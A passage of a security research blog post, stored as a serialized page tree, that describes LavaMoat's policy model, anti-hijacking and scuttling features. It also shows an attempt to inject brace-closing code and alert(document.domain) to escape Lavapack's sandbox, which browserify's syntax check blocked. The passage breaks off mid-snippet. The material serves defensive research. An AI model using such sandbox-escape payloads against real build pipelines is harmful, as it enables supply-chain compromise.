\"@metamask/providers\"",{"type":24,"tag":83,"props":46920,"children":46921},{"style":107},[46922],{"type":29,"value":2074},{"type":24,"tag":83,"props":46924,"children":46925},{"class":85,"line":113},[46926,46930,46934],{"type":24,"tag":83,"props":46927,"children":46928},{"style":187},[46929],{"type":29,"value":2094},{"type":24,"tag":83,"props":46931,"children":46932},{"style":137},[46933],{"type":29,"value":195},{"type":24,"tag":83,"props":46935,"children":46936},{"style":107},[46937],{"type":29,"value":125},{"type":24,"tag":83,"props":46939,"children":46940},{"class":85,"line":128},[46941,46946,46950,46954],{"type":24,"tag":83,"props":46942,"children":46943},{"style":187},[46944],{"type":29,"value":46945},"        \"Event\"",{"type":24,"tag":83,"props":46947,"children":46948},{"style":137},[46949],{"type":29,"value":195},{"type":24,"tag":83,"props":46951,"children":46952},{"style":90},[46953],{"type":29,"value":12215},{"type":24,"tag":83,"props":46955,"children":46956},{"style":107},[46957],{"type":29,"value":989},{"type":24,"tag":83,"props":46959,"children":46960},{"class":85,"line":183},[46961,46965,46969,46973],{"type":24,"tag":83,"props":46962,"children":46963},{"style":187},[46964],{"type":29,"value":36810},{"type":24,"tag":83,"props":46966,"children":46967},{"style":137},[46968],{"type":29,"value":195},{"type":24,"tag":83,"props":46970,"children":46971},{"style":90},[46972],{"type":29,"value":12215},{"type":24,"tag":83,"props":46974,"children":46975},{"style":107},[46976],{"type":29,"value":989},{"type":24,"tag":83,"props":46978,"children":46979},{"class":85,"line":203},[46980,46985,46989,46993],{"type":24,"tag":83,"props":46981,"children":46982},{"style":187},[46983],{"type":29,"value":46984},"        \"chrome.runtime.connect\"",{"type":24,"tag":83,"props":46986,"children":46987},{"style":137},[46988],{"type":29,"value":195},{"type":24,"tag":83,"props":46990,"children":46991},{"style":90},[46992],{"type":29,"value":12215},{"type":24,"tag":83,"props":46994,"children":46995},{"style":107},[46996],{"type":29,"value":989},{"type":24,"tag":83,"props":46998,"children":46999},{"class":85,"line":212},[47000,47005,47009,47013],{"type":24,"tag":83,"props":47001,"children":47002},{"style":187},[47003],{"type":29,"value":47004},"        \"console\"",{"type":24,"tag":83,"props":47006,"children":47007},{"style":137},[47008],{"type":29,"value":195},{"type":24,"tag":83,"props":47010,"children":47011},{"style":90},[47012],{"type":29,"value":12215},{"type":24,"tag":83,"props":47014,"children":47015},{"style":107},[47016],{"type":29,"value":989},{"type":24,"tag":83,"props":47018,"children":47019},{"class":85,"line":256},[47020,47025,47029,47033],{"type":24,"tag":83,"props":47021,"children":47022},{"style":187},[47023],{"type":29,"value":47024},"        \"dispatchEvent\"",{"type":24,"tag":83,"props":47026,"children":47027},{"style":137},[47028],{"type":29,"value":195},{"type":24,"tag":83,"props":47030,"children":47031},{"style":90},[47032],{"type":29,"value":12215},{"type":24,"tag":83,"props":47034,"children":47035},{"style":107},[47036],{"type":29,"value":989},{"type":24,"tag":83,"props":47038,"children":47039},{"class":85,"line":270},[47040,47045,47049,47053],{"type":24,"tag":83,"props":47041,"children":47042},{"style":187},[47043],{"type":29,"value":47044},"        \"document.createElement\"",{"type":24,"tag":83,"props":47046,"children":47047},{"style":137},[47048],{"type":29,"value":195},{"type":24,"tag":83,"props":47050,"children":47051},{"style":90},[47052],{"type":29,"value":12215},{"type":24,"tag":83,"props":47054,"children":47055},{"style":107},[47056],{"type":29,"value":989},{"type":24,"tag":83,"props":47058,"children":47059},{"class":85,"line":302},[47060,47065,47069,47073],{"type":24,"tag":83,"props":47061,"children":47062},{"style":187},[47063],{"type":29,"value":47064},"        \"document.readyState\"",{"type":24,"tag":83,"props":47066,"children":47067},{"style":137},[47068],{"type":29,"value":195},{"type":24,"tag":83,"props":47070,"children":47071},{"style":90},[47072],{"type":29,"value":12215},{"type":24,"tag":83,"props":47074,"children":47075},{"style":107},[47076],{"type":29,"value":989},{"type":24,"tag":83,"props":47078,"children":47079},{"class":85,"line":324},[47080,47085,47089,47094],{"type":24,"tag":83,"props":47081,"children":47082},{"style":187},[47083],{"type":29,"value":47084},"        \"ethereum\"",{"type":24,"tag":83,"props":47086,"children":47087},{"style":137},[47088],{"type":29,"value":195},{"type":24,"tag":83,"props":47090,"children":47091},{"style":187},[47092],{"type":29,"value":47093}," \"write\"",{"type":24,"tag":83,"props":47095,"children":47096},{"style":107},[47097],{"type":29,"value":989},{"type":24,"tag":83,"props":47099,"children":47100},{"class":85,"line":345},[47101,47106,47110,47114],{"type":24,"tag":83,"props":47102,"children":47103},{"style":187},[47104],{"type":29,"value":47105},"        \"location.hostname\"",{"type":24,"tag":83,"props":47107,"children":47108},{"style":137},[47109],{"type":29,"value":195},{"type":24,"tag":83,"props":47111,"children":47112},{"style":90},[47113],{"type":29,"value":12215},{"type":24,"tag":83,"props":47115,"children":47116},{"style":107},[47117],{"type":29,"value":989},{"type":24,"tag":83,"props":47119,"children":47120},{"class":85,"line":358},[47121,47125,47129,47133],{"type":24,"tag":83,"props":47122,"children":47123},{"style":187},[47124],{"type":29,"value":36910},{"type":24,"tag":83,"props":47126,"children":47127},{"style":137},[47128],{"type":29,"value":195},{"type":24,"tag":83,"props":47130,"children":47131},{"style":90},[47132],{"type":29,"value":12215},{"type":24,"tag":83,"props":47134,"children":47135},{"style":107},[47136],{"type":29,"value":989},{"type":24,"tag":83,"props":47138,"children":47139},{"class":85,"line":367},[47140,47145,47149],{"type":24,"tag":83,"props":47141,"children":47142},{"style":187},[47143],{"type":29,"value":47144},"        \"web3\"",{"type":24,"tag":83,"props":47146,"children":47147},{"style":137},[47148],{"type":29,"value":195},{"type":24,"tag":83,"props":47150,"children":47151},{"style":90},[47152],{"type":29,"value":46268},{"type":24,"tag":83,"props":47154,"children":47155},{"class":85,"line":406},[47156],{"type":24,"tag":83,"props":47157,"children":47158},{"style":107},[47159],{"type":29,"value":2197},{"type":24,"tag":83,"props":47161,"children":47162},{"class":85,"line":427},[47163,47167,47171],{"type":24,"tag":83,"props":47164,"children":47165},{"style":187},[47166],{"type":29,"value":2205},{"type":24,"tag":83,"props":47168,"children":47169},{"style":137},[47170],{"type":29,"value":195},{"type":24,"tag":83,"props":47172,"children":47173},{"style":107},[47174],{"type":29,"value":125},{"type":24,"tag":83,"props":47176,"children":47177},{"class":85,"line":440},[47178,47183,47187,47191],{"type":24,"tag":83,"props":47179,"children":47180},{"style":187},[47181],{"type":29,"value":47182},"        \"@metamask/object-multiplex\"",{"type":24,"tag":83,"props":47184,"children":47185},{"style":137},[47186],{"type":29,"value":195},{"type":24,"tag":83,"props":47188,"children":47189},{"style":90},[47190],{"type":29,"value":12215},{"type":24,"tag":83,"props":47192,"children":47193},{"style":107},[47194],{"type":29,"value":989},{"type":24,"tag":83,"props":47196,"children":47197},{"class":85,"line":449},[47198,47203,47207],{"type":24,"tag":83,"props":47199,"children":47200},{"style":187},[47201],{"type":29,"value":47202},"        \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":24,"tag":83,"props":47204,"children":47205},{"style":137},[47206],{"type":29,"value":195},{"type":24,"tag":83,"props":47208,"children":47209},{"style":90},[47210],{"type":29,"value":46268},{"type":24,"tag":25,"props":47212,"children":47213},{},[47214,47215,47220,47222,47227,47229,47235],{"type":29,"value":16348},{"type":24,"tag":32,"props":47216,"children":47218},{"className":47217},[],[47219],{"type":29,"value":36997},{"type":29,"value":47221}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":24,"tag":32,"props":47223,"children":47225},{"className":47224},[],[47226],{"type":29,"value":37005},{"type":29,"value":47228}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":24,"tag":32,"props":47230,"children":47232},{"className":47231},[],[47233],{"type":29,"value":47234},"@metamask/providers",{"type":29,"value":47236}," interacts with other packages.",{"type":24,"tag":25,"props":47238,"children":47239},{},[47240,47242,47248],{"type":29,"value":47241},"To enforce these policies, LavaMoat uses ",{"type":24,"tag":32,"props":47243,"children":47245},{"className":47244},[],[47246],{"type":29,"value":47247},"lavapack",{"type":29,"value":47249},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":24,"tag":18631,"props":47251,"children":47253},{"id":47252},"npm-anti-hijacking",[47254],{"type":29,"value":46870},{"type":24,"tag":25,"props":47256,"children":47257},{},[47258],{"type":29,"value":47259},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted package.",{"type":24,"tag":25,"props":47261,"children":47262},{},[47263,47265,47272],{"type":29,"value":47264},"Instead, Lavamoat looks at how each package is connected by ",{"type":24,"tag":2033,"props":47266,"children":47269},{"href":47267,"rel":47268},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[2037],[47270],{"type":29,"value":47271},"walking the modules",{"type":29,"value":47273}," in a project's dependency tree, thus generating a unique name for each package.",{"type":24,"tag":18631,"props":47275,"children":47277},{"id":47276},"scuttling",[47278],{"type":29,"value":46875},{"type":24,"tag":25,"props":47280,"children":47281},{},[47282,47284,47290],{"type":29,"value":47283},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real ",{"type":24,"tag":32,"props":47285,"children":47287},{"className":47286},[],[47288],{"type":29,"value":47289},"GlobalThis",{"type":29,"value":47291}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":24,"tag":25,"props":47293,"children":47294},{},[47295,47297,47304],{"type":29,"value":47296},"For example, ",{"type":24,"tag":2033,"props":47298,"children":47301},{"href":47299,"rel":47300},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[2037],[47302],{"type":29,"value":47303},"here",{"type":29,"value":47305}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":24,"tag":73,"props":47307,"children":47309},{"className":77,"code":47308,"language":76,"meta":7,"style":7},"    if (scuttleOpts.enabled) {\n      if (!Array.isArray(scuttleOpts.exceptions)) {\n        throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n      }\n      scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n    }\n",[47310],{"type":24,"tag":32,"props":47311,"children":47312},{"__ignoreMap":7},[47313,47342,47392,47451,47458,47530],{"type":24,"tag":83,"props":47314,"children":47315},{"class":85,"line":86},[47316,47320,47324,47329,47333,47338],{"type":24,"tag":83,"props":47317,"children":47318},{"style":117},[47319],{"type":29,"value":218},{"type":24,"tag":83,"props":47321,"children":47322},{"style":107},[47323],{"type":29,"value":223},{"type":24,"tag":83,"props":47325,"children":47326},{"style":137},[47327],{"type":29,"value":47328},"scuttleOpts",{"type":24,"tag":83,"props":47330,"children":47331},{"style":107},[47332],{"type":29,"value":161},{"type":24,"tag":83,"props":47334,"children":47335},{"style":137},[47336],{"type":29,"value":47337},"enabled",{"type":24,"tag":83,"props":47339,"children":47340},{"style":107},[47341],{"type":29,"value":253},{"type":24,"tag":83,"props":47343,"children":47344},{"class":85,"line":113},[47345,47349,47353,47357,47362,47366,47371,47375,47379,47383,47388],{"type":24,"tag":83,"props":47346,"children":47347},{"style":117},[47348],{"type":29,"value":276},{"type":24,"tag":83,"props":47350,"children":47351},{"style":107},[47352],{"type":29,"value":223},{"type":24,"tag":83,"props":47354,"children":47355},{"style":143},[47356],{"type":29,"value":20362},{"type":24,"tag":83,"props":47358,"children":47359},{"style":137},[47360],{"type":29,"value":47361},"Array",{"type":24,"tag":83,"props":47363,"children":47364},{"style":107},[47365],{"type":29,"value":161},{"type":24,"tag":83,"props":47367,"children":47368},{"style":101},[47369],{"type":29,"value":47370},"isArray",{"type":24,"tag":83,"props":47372,"children":47373},{"style":107},[47374],{"type":29,"value":558},{"type":24,"tag":83,"props":47376,"children":47377},{"style":137},[47378],{"type":29,"value":47328},{"type":24,"tag":83,"props":47380,"children":47381},{"style":107},[47382],{"type":29,"value":161},{"type":24,"tag":83,"props":47384,"children":47385},{"style":137},[47386],{"type":29,"value":47387},"exceptions",{"type":24,"tag":83,"props":47389,"children":47390},{"style":107},[47391],{"type":29,"value":704},{"type":24,"tag":83,"props":47393,"children":47394},{"class":85,"line":128},[47395,47400,47404,47408,47412,47417,47421,47425,47430,47434,47438,47442,47447],{"type":24,"tag":83,"props":47396,"children":47397},{"style":117},[47398],{"type":29,"value":47399},"        throw",{"type":24,"tag":83,"props":47401,"children":47402},{"style":90},[47403],{"type":29,"value":944},{"type":24,"tag":83,"props":47405,"children":47406},{"style":101},[47407],{"type":29,"value":39999},{"type":24,"tag":83,"props":47409,"children":47410},{"style":107},[47411],{"type":29,"value":558},{"type":24,"tag":83,"props":47413,"children":47414},{"style":187},[47415],{"type":29,"value":47416},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":24,"tag":83,"props":47418,"children":47419},{"style":90},[47420],{"type":29,"value":33845},{"type":24,"tag":83,"props":47422,"children":47423},{"style":90},[47424],{"type":29,"value":31151},{"type":24,"tag":83,"props":47426,"children":47427},{"style":137},[47428],{"type":29,"value":47429}," scuttleOpts",{"type":24,"tag":83,"props":47431,"children":47432},{"style":143},[47433],{"type":29,"value":161},{"type":24,"tag":83,"props":47435,"children":47436},{"style":137},[47437],{"type":29,"value":47387},{"type":24,"tag":83,"props":47439,"children":47440},{"style":90},[47441],{"type":29,"value":33877},{"type":24,"tag":83,"props":47443,"children":47444},{"style":187},[47445],{"type":29,"value":47446},"\"`",{"type":24,"tag":83,"props":47448,"children":47449},{"style":107},[47450],{"type":29,"value":2905},{"type":24,"tag":83,"props":47452,"children":47453},{"class":85,"line":183},[47454],{"type":24,"tag":83,"props":47455,"children":47456},{"style":107},[47457],{"type":29,"value":364},{"type":24,"tag":83,"props":47459,"children":47460},{"class":85,"line":203},[47461,47466,47470,47475,47479,47484,47488,47493,47497,47502,47506,47510,47514,47518,47522,47526],{"type":24,"tag":83,"props":47462,"children":47463},{"style":137},[47464],{"type":29,"value":47465},"      scuttleOpts",{"type":24,"tag":83,"props":47467,"children":47468},{"style":107},[47469],{"type":29,"value":161},{"type":24,"tag":83,"props":47471,"children":47472},{"style":101},[47473],{"type":29,"value":47474},"scuttlerFunc",{"type":24,"tag":83,"props":47476,"children":47477},{"style":107},[47478],{"type":29,"value":558},{"type":24,"tag":83,"props":47480,"children":47481},{"style":137},[47482],{"type":29,"value":47483},"globalRef",{"type":24,"tag":83,"props":47485,"children":47486},{"style":107},[47487],{"type":29,"value":568},{"type":24,"tag":83,"props":47489,"children":47490},{"style":137},[47491],{"type":29,"value":47492},"realm",{"type":24,"tag":83,"props":47494,"children":47495},{"style":90},[47496],{"type":29,"value":27502},{"type":24,"tag":83,"props":47498,"children":47499},{"style":101},[47500],{"type":29,"value":47501}," performScuttleGlobalThis",{"type":24,"tag":83,"props":47503,"children":47504},{"style":107},[47505],{"type":29,"value":558},{"type":24,"tag":83,"props":47507,"children":47508},{"style":137},[47509],{"type":29,"value":47492},{"type":24,"tag":83,"props":47511,"children":47512},{"style":107},[47513],{"type":29,"value":568},{"type":24,"tag":83,"props":47515,"children":47516},{"style":137},[47517],{"type":29,"value":47328},{"type":24,"tag":83,"props":47519,"children":47520},{"style":107},[47521],{"type":29,"value":161},{"type":24,"tag":83,"props":47523,"children":47524},{"style":137},[47525],{"type":29,"value":47387},{"type":24,"tag":83,"props":47527,"children":47528},{"style":107},[47529],{"type":29,"value":19452},{"type":24,"tag":83,"props":47531,"children":47532},{"class":85,"line":212},[47533],{"type":24,"tag":83,"props":47534,"children":47535},{"style":107},[47536],{"type":29,"value":446},{"type":24,"tag":25,"props":47538,"children":47539},{},[47540,47542,47548,47550,47556],{"type":29,"value":47541},"Subsequently, the code defines a ",{"type":24,"tag":2033,"props":47543,"children":47546},{"href":47544,"rel":47545},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[2037],[47547],{"type":29,"value":31126},{"type":29,"value":47549}," called ",{"type":24,"tag":32,"props":47551,"children":47553},{"className":47552},[],[47554],{"type":29,"value":47555},"generateScuttleOpts",{"type":29,"value":47557}," that creates and returns an options object.",{"type":24,"tag":25,"props":47559,"children":47560},{},[47561,47563,47569,47570,47576,47578,47583,47585,47591],{"type":29,"value":47562},"Finally, the ",{"type":24,"tag":32,"props":47564,"children":47566},{"className":47565},[],[47567],{"type":29,"value":47568},"performScuttleGlobalThis",{"type":29,"value":6204},{"type":24,"tag":2033,"props":47571,"children":47574},{"href":47572,"rel":47573},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[2037],[47575],{"type":29,"value":31126},{"type":29,"value":47577}," modifies the properties of the global object (",{"type":24,"tag":32,"props":47579,"children":47581},{"className":47580},[],[47582],{"type":29,"value":47483},{"type":29,"value":47584},"). It starts by creating an array ",{"type":24,"tag":32,"props":47586,"children":47588},{"className":47587},[],[47589],{"type":29,"value":47590},"props",{"type":29,"value":47592},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":24,"tag":51,"props":47594,"children":47596},{"id":47595},"hacking-webpacks",[47597],{"type":29,"value":47598},"Hacking Webpacks",{"type":24,"tag":25,"props":47600,"children":47601},{},[47602],{"type":29,"value":47603},"Now let's get to the fun stuff.",{"type":24,"tag":25,"props":47605,"children":47606},{},[47607],{"type":29,"value":47608},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":24,"tag":73,"props":47610,"children":47612},{"className":77,"code":47611,"language":76,"meta":7,"style":7},"  const filename = encodeURI(String(moduleData.file))\n  let moduleWrapperSource\n  if (bundleWithPrecompiledModules) {\n    moduleWrapperSource = `function(){\n      with (this.scopeTerminator) {\n        with (this.globalThis) {\n          return function() {\n            'use strict';\n            // source: ${filename}\n            return function (require, module, exports) {\n              __MODULE_CONTENT__\n            };\n          };\n        }\n      }\n    }`\n",[47613],{"type":24,"tag":32,"props":47614,"children":47615},{"__ignoreMap":7},[47616,47668,47680,47700,47717,47725,47733,47741,47749,47770,47778,47786,47794,47801,47808,47815],{"type":24,"tag":83,"props":47617,"children":47618},{"class":85,"line":86},[47619,47623,47628,47632,47637,47641,47646,47650,47655,47659,47664],{"type":24,"tag":83,"props":47620,"children":47621},{"style":90},[47622],{"type":29,"value":526},{"type":24,"tag":83,"props":47624,"children":47625},{"style":137},[47626],{"type":29,"value":47627}," filename",{"type":24,"tag":83,"props":47629,"children":47630},{"style":143},[47631],{"type":29,"value":146},{"type":24,"tag":83,"props":47633,"children":47634},{"style":101},[47635],{"type":29,"value":47636}," encodeURI",{"type":24,"tag":83,"props":47638,"children":47639},{"style":107},[47640],{"type":29,"value":558},{"type":24,"tag":83,"props":47642,"children":47643},{"style":101},[47644],{"type":29,"value":47645},"String",{"type":24,"tag":83,"props":47647,"children":47648},{"style":107},[47649],{"type":29,"value":558},{"type":24,"tag":83,"props":47651,"children":47652},{"style":137},[47653],{"type":29,"value":47654},"moduleData",{"type":24,"tag":83,"props":47656,"children":47657},{"style":107},[47658],{"type":29,"value":161},{"type":24,"tag":83,"props":47660,"children":47661},{"style":137},[47662],{"type":29,"value":47663},"file",{"type":24,"tag":83,"props":47665,"children":47666},{"style":107},[47667],{"type":29,"value":19452},{"type":24,"tag":83,"props":47669,"children":47670},{"class":85,"line":113},[47671,47675],{"type":24,"tag":83,"props":47672,"children":47673},{"style":90},[47674],{"type":29,"value":655},{"type":24,"tag":83,"props":47676,"children":47677},{"style":137},[47678],{"type":29,"value":47679}," moduleWrapperSource\n",{"type":24,"tag":83,"props":47681,"children":47682},{"class":85,"line":128},[47683,47687,47691,47696],{"type":24,"tag":83,"props":47684,"children":47685},{"style":117},[47686],{"type":29,"value":672},{"type":24,"tag":83,"props":47688,"children":47689},{"style":107},[47690],{"type":29,"value":223},{"type":24,"tag":83,"props":47692,"children":47693},{"style":137},[47694],{"type":29,"value":47695},"bundleWithPrecompiledModules",{"type":24,"tag":83,"props":47697,"children":47698},{"style":107},[47699],{"type":29,"value":253},{"type":24,"tag":83,"props":47701,"children":47702},{"class":85,"line":183},[47703,47708,47712],{"type":24,"tag":83,"props":47704,"children":47705},{"style":137},[47706],{"type":29,"value":47707},"    moduleWrapperSource",{"type":24,"tag":83,"props":47709,"children":47710},{"style":143},[47711],{"type":29,"value":146},{"type":24,"tag":83,"props":47713,"children":47714},{"style":187},[47715],{"type":29,"value":47716}," `function(){\n",{"type":24,"tag":83,"props":47718,"children":47719},{"class":85,"line":203},[47720],{"type":24,"tag":83,"props":47721,"children":47722},{"style":187},[47723],{"type":29,"value":47724},"      with (this.scopeTerminator) {\n",{"type":24,"tag":83,"props":47726,"children":47727},{"class":85,"line":212},[47728],{"type":24,"tag":83,"props":47729,"children":47730},{"style":187},[47731],{"type":29,"value":47732},"        with (this.globalThis) {\n",{"type":24,"tag":83,"props":47734,"children":47735},{"class":85,"line":256},[47736],{"type":24,"tag":83,"props":47737,"children":47738},{"style":187},[47739],{"type":29,"value":47740},"          return function() {\n",{"type":24,"tag":83,"props":47742,"children":47743},{"class":85,"line":270},[47744],{"type":24,"tag":83,"props":47745,"children":47746},{"style":187},[47747],{"type":29,"value":47748},"            'use strict';\n",{"type":24,"tag":83,"props":47750,"children":47751},{"class":85,"line":302},[47752,47757,47761,47766],{"type":24,"tag":83,"props":47753,"children":47754},{"style":187},[47755],{"type":29,"value":47756},"            // source: ",{"type":24,"tag":83,"props":47758,"children":47759},{"style":90},[47760],{"type":29,"value":33845},{"type":24,"tag":83,"props":47762,"children":47763},{"style":137},[47764],{"type":29,"value":47765},"filename",{"type":24,"tag":83,"props":47767,"children":47768},{"style":90},[47769],{"type":29,"value":464},{"type":24,"tag":83,"props":47771,"children":47772},{"class":85,"line":324},[47773],{"type":24,"tag":83,"props":47774,"children":47775},{"style":187},[47776],{"type":29,"value":47777},"            return function (require, module, exports) {\n",{"type":24,"tag":83,"props":47779,"children":47780},{"class":85,"line":345},[47781],{"type":24,"tag":83,"props":47782,"children":47783},{"style":187},[47784],{"type":29,"value":47785},"              __MODULE_CONTENT__\n",{"type":24,"tag":83,"props":47787,"children":47788},{"class":85,"line":358},[47789],{"type":24,"tag":83,"props":47790,"children":47791},{"style":187},[47792],{"type":29,"value":47793},"            };\n",{"type":24,"tag":83,"props":47795,"children":47796},{"class":85,"line":367},[47797],{"type":24,"tag":83,"props":47798,"children":47799},{"style":187},[47800],{"type":29,"value":8446},{"type":24,"tag":83,"props":47802,"children":47803},{"class":85,"line":406},[47804],{"type":24,"tag":83,"props":47805,"children":47806},{"style":187},[47807],{"type":29,"value":3092},{"type":24,"tag":83,"props":47809,"children":47810},{"class":85,"line":427},[47811],{"type":24,"tag":83,"props":47812,"children":47813},{"style":187},[47814],{"type":29,"value":364},{"type":24,"tag":83,"props":47816,"children":47817},{"class":85,"line":440},[47818],{"type":24,"tag":83,"props":47819,"children":47820},{"style":187},[47821],{"type":29,"value":47822},"    }`\n",{"type":24,"tag":25,"props":47824,"children":47825},{},[47826,47828,47834,47836,47842],{"type":29,"value":47827},"Lavapack uses ",{"type":24,"tag":32,"props":47829,"children":47831},{"className":47830},[],[47832],{"type":29,"value":47833},"with()",{"type":29,"value":47835}," proxies to restrict the objects accessible by the module, and ",{"type":24,"tag":32,"props":47837,"children":47839},{"className":47838},[],[47840],{"type":29,"value":47841},"__MODULE_CONTENT__",{"type":29,"value":47843}," is replaced by the content of a file required by the project being built.",{"type":24,"tag":1818,"props":47845,"children":47847},{"id":47846},"injection-not-so-simple",[47848],{"type":29,"value":47849},"Injection? Not So Simple",{"type":24,"tag":25,"props":47851,"children":47852},{},[47853,47855,47860],{"type":29,"value":47854},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":24,"tag":32,"props":47856,"children":47858},{"className":47857},[],[47859],{"type":29,"value":12397},{"type":29,"value":47861}," environment:",{"type":24,"tag":73,"props":47863,"children":47865},{"className":77,"code":47864,"language":76,"meta":7,"style":7},"   } // end function 1\n  } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[47866],{"type":24,"tag":32,"props":47867,"children":47868},{"__ignoreMap":7},[47869,47882,47894,47906,47918,47925],{"type":24,"tag":83,"props":47870,"children":47871},{"class":85,"line":86},[47872,47877],{"type":24,"tag":83,"props":47873,"children":47874},{"style":107},[47875],{"type":29,"value":47876},"   } ",{"type":24,"tag":83,"props":47878,"children":47879},{"style":2735},[47880],{"type":29,"value":47881},"// end function 1\n",{"type":24,"tag":83,"props":47883,"children":47884},{"class":85,"line":113},[47885,47889],{"type":24,"tag":83,"props":47886,"children":47887},{"style":107},[47888],{"type":29,"value":755},{"type":24,"tag":83,"props":47890,"children":47891},{"style":2735},[47892],{"type":29,"value":47893},"// end function 2\n",{"type":24,"tag":83,"props":47895,"children":47896},{"class":85,"line":128},[47897,47901],{"type":24,"tag":83,"props":47898,"children":47899},{"style":107},[47900],{"type":29,"value":35934},{"type":24,"tag":83,"props":47902,"children":47903},{"style":2735},[47904],{"type":29,"value":47905},"// end with 1\n",{"type":24,"tag":83,"props":47907,"children":47908},{"class":85,"line":183},[47909,47913],{"type":24,"tag":83,"props":47910,"children":47911},{"style":107},[47912],{"type":29,"value":1317},{"type":24,"tag":83,"props":47914,"children":47915},{"style":2735},[47916],{"type":29,"value":47917},"// end with 2\n",{"type":24,"tag":83,"props":47919,"children":47920},{"class":85,"line":203},[47921],{"type":24,"tag":83,"props":47922,"children":47923},{"emptyLinePlaceholder":16},[47924],{"type":29,"value":3422},{"type":24,"tag":83,"props":47926,"children":47927},{"class":85,"line":212},[47928,47932,47936,47940,47944,47948],{"type":24,"tag":83,"props":47929,"children":47930},{"style":101},[47931],{"type":29,"value":32436},{"type":24,"tag":83,"props":47933,"children":47934},{"style":107},[47935],{"type":29,"value":558},{"type":24,"tag":83,"props":47937,"children":47938},{"style":137},[47939],{"type":29,"value":32446},{"type":24,"tag":83,"props":47941,"children":47942},{"style":107},[47943],{"type":29,"value":161},{"type":24,"tag":83,"props":47945,"children":47946},{"style":137},[47947],{"type":29,"value":32456},{"type":24,"tag":83,"props":47949,"children":47950},{"style":107},[47951],{"type":29,"value":2905},{"type":24,"tag":25,"props":47953,"children":47954},{},[47955,47957,47963,47965,47972],{"type":29,"value":47956},"However, when we tried to bundle it, a ",{"type":24,"tag":32,"props":47958,"children":47960},{"className":47959},[],[47961],{"type":29,"value":47962},"ParseError",{"type":29,"value":47964}," was thrown. This is because Lavapack is a plugin of ",{"type":24,"tag":2033,"props":47966,"children":47969},{"href":47967,"rel":47968},"https://github.com/browserify/browserify",[2037],[47970],{"type":29,"value":47971},"browserify",{"type":29,"value":47973},", which has a syntax check before replacing the code.",{"type":24,"tag":25,"props":47975,"children":47976},{},[47977,47979,47985,47987,47993,47995,48001,48003,48008],{"type":29,"value":47978},"Looking deeper into browserify, we find it has a ",{"type":24,"tag":32,"props":47980,"children":47982},{"className":47981},[],[47983],{"type":29,"value":47984},"syntax",{"type":29,"value":47986}," stage on it's pipeline, and uses the ",{"type":24,"tag":32,"props":47988,"children":47990},{"className":47989},[],[47991],{"type":29,"value":47992},"syntax-error",{"type":29,"value":47994}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":24,"tag":32,"props":47996,"children":47998},{"className":47997},[],[47999],{"type":29,"value":48000},"pack",{"type":29,"value":48002}," stage on browserify pipeline, which comes after the ",{"type":24,"tag":32,"props":48004,"children":48006},{"className":48005},[],[48007],{"type":29,"value":47984},{"type":29,"value":48009},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":24,"tag":25,"props":48011,"children":48012},{},[48013],{"type":24,"tag":2510,"props":48014,"children":48017},{"alt":48015,"src":48016},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":24,"tag":25,"props":48019,"children":48020},{},[48021,48022,48027,48029,48034],{"type":29,"value":16348},{"type":24,"tag":32,"props":48023,"children":48025},{"className":48024},[],[48026],{"type":29,"value":47992},{"type":29,"value":48028}," package performs a syntax check by using  ",{"type":24,"tag":32,"props":48030,"children":48032},{"className":48031},[],[48033],{"type":29,"value":37271},{"type":29,"value":48035}," with function hoisting:",{"type":24,"tag":73,"props":48037,"children":48039},{"className":77,"code":48038,"language":76,"meta":7,"style":7},"try {\n    eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n    return;\n}\ncatch (err) {\n    if (err === 'STOP') return undefined;\n    if (err.constructor.name !== 'SyntaxError') return err;\n    return errorInfo(src, file, opts);\n}\n",[48040],{"type":24,"tag":32,"props":48041,"children":48042},{"__ignoreMap":7},[48043,48055,48105,48116,48123,48143,48184,48244,48285],{"type":24,"tag":83,"props":48044,"children":48045},{"class":85,"line":86},[48046,48051],{"type":24,"tag":83,"props":48047,"children":48048},{"style":117},[48049],{"type":29,"value":48050},"try",{"type":24,"tag":83,"props":48052,"children":48053},{"style":107},[48054],{"type":29,"value":125},{"type":24,"tag":83,"props":48056,"children":48057},{"class":85,"line":113},[48058,48063,48067,48072,48076,48081,48085,48090,48096,48101],{"type":24,"tag":83,"props":48059,"children":48060},{"style":101},[48061],{"type":29,"value":48062},"    eval",{"type":24,"tag":83,"props":48064,"children":48065},{"style":107},[48066],{"type":29,"value":558},{"type":24,"tag":83,"props":48068,"children":48069},{"style":187},[48070],{"type":29,"value":48071},"'throw \"STOP\"; (function () { 